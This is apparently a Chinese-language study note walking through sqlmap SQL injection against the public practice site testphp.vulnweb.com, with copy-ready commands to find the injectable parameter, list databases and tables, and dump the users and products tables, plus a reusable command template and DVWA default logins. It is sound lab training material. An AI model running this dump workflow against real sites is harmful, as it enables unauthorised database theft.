一、前期准备
1. 工具环境
- 工具:sqlmap - 中文汉化 - 1.8.1.6(运行目录:
~/sqlmap-中文汉化-1.8.1.6) - 运行命令前缀:
python3 sqlmap.py - 系统环境:Kali Linux(终端提示符:
┌──(root💀HackPts)-[~/sqlmap-中文汉化-1.8.1.6])
2. 测试靶场选择(关键避坑点)
| 靶场类型 | 地址 | 问题 / 优势 |
|---|---|---|
| 初始尝试(DVWA) | http://192.168.1.4/dvwa | 缺点:PHPSESSID 会话易失效,sqlmap 被重定向到login.php,检测失败 |
| 最终成功(公开) | http://testphp.vulnweb.com/artists.php?artist=1 | 优势:无登录态、100% 有注入漏洞、外网可访问、支持完整数据提取 |
3. 靶场核心信息(提前知晓)
- 后端数据库:MySQL ≥ 5.6
- Web 服务器:Linux Ubuntu + Nginx 1.19.0 + PHP 5.6.40
- 核心注入参数:GET 参数
artist(URL 自带?artist=1) - 可提取数据库:2 个(
acuart业务库、information_schema系统库) - 关键表:
acuart库下 8 张表(users用户表、products商品表为核心)
二、完整操作流程(按顺序执行,可直接复制)
步骤 1:验证连通性 + 检测注入点
操作目的:确认靶场可访问,检测artist参数是否可注入
bash
运行
python3 sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch --dbs -v 1参数说明:
-u:指定目标 URL(必须带?artist=1参数)--batch:自动确认所有交互选项(无需手动回车)--dbs:提取所有数据库列表-v 1:显示基础日志,便于排查问题
预期结果:✅ 识别 4 种注入类型:布尔盲注、报错注入、时间盲注、UNION 联合查询
✅ 提取 2 个数据库:acuart(业务库)、information_schema(系统库)
✅ 数据存储路径:/root/.local/share/sqlmap/output/testphp.vulnweb.com
步骤 2:提取acuart数据库的所有表
操作目的:定位核心表(users/products)
bash
运行
python3 sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch -D acuart --tables -v 1参数说明:
-D acuart:指定数据库(必须小写,与提取结果一致)--tables:提取指定库的所有表
预期结果:
plaintext
+-----------+ | artists | | carts | | categ | | featured | | guestbook | | pictures | | products | # 含真实商品数据 | users | # 用户表(靶场清空数据) +-----------+步骤 3:提取users表的账号密码(脱裤尝试)
操作目的:尝试提取用户凭证(验证流程)
bash
运行
python3 sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch -D acuart -T users -C username,password --dump -v 1参数说明:
-T users:指定表名-C username,password:指定提取字段(英文逗号分隔)--dump:导出字段数据(核心 “脱裤” 操作)
预期结果:表结构存在但数据为空(靶场防护,非操作错误)
plaintext
Database: acuart Table: users [1 entry] +----------+----------+ | username | password | +----------+----------+ | <blank> | <blank> | +----------+----------+数据导出路径:/root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv
步骤 4:提取products表的真实商品数据(验证流程)
操作目的:验证注入流程完整性(核心成功标志)
bash
运行
python3 sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch -D acuart -T products -C id,name,price --dump -v 1预期结果:提取到 3 条真实商品数据
plaintext
Database: acuart Table: products [3 entries] +----+---------------------------------------------------+-------+ | id | name | price | +----+---------------------------------------------------+-------+ | 1 | Network Storage D-Link DNS-313 enclosure 1 x SATA | 359 | | 2 | Web Camera A4Tech PK-335E | 10 | | 3 | Laser Color Printer HP LaserJet M551dn, A4 | 812 | +----+---------------------------------------------------+-------+数据导出路径:/root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/products.csv
三、关键细节与避坑点(必看)
1. 靶场相关
- 核心 URL 不可错:
http://testphp.vulnweb.com/artists.php?artist=1(必须带?artist=1) - 靶场性质:OWASP 官方公开靶场,合法合规使用
- 数据特点:
users表空(防护)、products表有真实数据(验证用)
2. 命令参数
- 大小写敏感:
-D acuart中acuart必须小写,错写会提取失败 --batch不可省:避免手动输入打断流程-v 1:基础日志(排查问题可改-v 2)
3. 常见问题排查
| 问题现象 | 排查方案 |
|---|---|
| 无法连接目标 URL | 复制 URL 到浏览器,确认能打开、网络通畅 |
| 提取数据为空(非 users 表) | 检查-D/-T/-C名称是否与前一步结果一致(无空格、无错别字) |
| 被重定向到 DVWA 登录页 | 重新登录 DVWA(账号admin/ 密码password),立即复制最新PHPSESSID |
四、复盘总结(核心收获)
1. 完整注入链路
检测注入点→提取数据库列表→提取目标库表列表→提取目标表字段数据→导出数据
2. 核心命令速记(公式化,不用死记完整命令)
| 操作 | 命令公式(填空即可) |
|---|---|
| 检测 + 提库 | python3 sqlmap.py -u "【靶场URL】" --batch --dbs -v 1 |
| 提表 | python3 sqlmap.py -u "【靶场URL】" --batch -D 【库名】 --tables -v 1 |
| 提数据 | python3 sqlmap.py -u "【靶场URL】" --batch -D 【库名】 -T 【表名】 -C 【字段】 --dump -v 1 |
3. 关键经验
- 新手优先选无登录态的公开靶场(如
testphp.vulnweb.com),避开本地靶场配置坑 - 每步执行前,确认上一步结果(如先提库,再用库名提表)
- 数据为空≠操作失败,可能是靶场防护(换表验证即可)
补充(明天预习用)
✅ 重点练:SQLi Labs 第 21 关(Cookie 注入 + MD5 密文破解),流程会衔接今晚的内容,只新增 “密文解密” 步骤,不用额外记新命令~
✅ 复盘技巧:先按 “公式” 填参数,再复制执行,重点记 “流程逻辑” 而非 “完整命令”,练 2 遍就能记住。